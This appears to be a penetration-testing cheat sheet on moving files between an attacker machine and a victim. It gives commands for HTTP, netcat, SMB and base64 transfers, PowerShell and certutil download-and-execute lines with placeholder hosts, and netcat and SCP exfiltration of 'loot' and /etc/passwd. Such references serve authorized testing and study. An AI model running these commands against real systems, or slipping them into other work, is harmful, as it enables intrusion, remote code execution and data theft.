Post

Reference — File Transfer Methods

Reference — File Transfer Methods

description: “File transfer reference — Linux and Windows download/upload methods, netcat transfers, SMB server, base64 encode/decode, and exfiltration techniques.”

📁 Source: github.com/sireton/pentest-vault/00-Meta
← Back to Methodology Index


Linux → Target

Python HTTP Server

1
2
3
4
5
6
# Attacker
python3 -m http.server 8080

# Victim
wget http://<IP>:8080/<file>
curl -O http://<IP>:8080/<file>

Netcat

1
2
3
4
5
# Receiver
nc -lvnp 4444 > file.exe

# Sender
nc -w 3 <IP> 4444 < file.exe

Windows Download Methods

PowerShell

1
2
3
4
5
6
7
8
# Download and execute in memory
IEX (New-Object Net.WebClient).DownloadString('http://<IP>/file.ps1')

# Download to disk
(New-Object Net.WebClient).DownloadFile('http://<IP>/file.exe','C:\Windows\Temp\file.exe')

# Invoke-WebRequest
Invoke-WebRequest -Uri 'http://<IP>/file.exe' -OutFile 'C:\Temp\file.exe'

Certutil (LOLBin)

certutil.exe -urlcache -split -f http://<IP>/file.exe file.exe

SMB Server (impacket)

1
2
3
4
5
# Attacker
impacket-smbserver share $(pwd) -smb2support -username user -password pass

# Victim
copy \\<IP>\share\file.exe C:\Temp\

Linux Download Methods

1
2
wget http://<IP>/file -O /tmp/file
curl http://<IP>/file -o /tmp/file

Base64 Encode/Decode (no outbound HTTP)

1
2
3
4
5
# Attacker
base64 -w 0 file.exe > file.b64

# Victim
echo "<base64string>" | base64 -d > file.exe

Exfiltration

Netcat

1
2
3
4
5
# Attacker receives
nc -lvnp 4444 > loot.zip

# Victim sends
tar czf - /path/to/loot | nc <IP> 4444

SCP

1
scp user@<victimIP>:/etc/passwd ./loot/passwd

Previous: Methodology Tools · Next: Methodology Resources

This post is licensed under CC BY 4.0 by the author.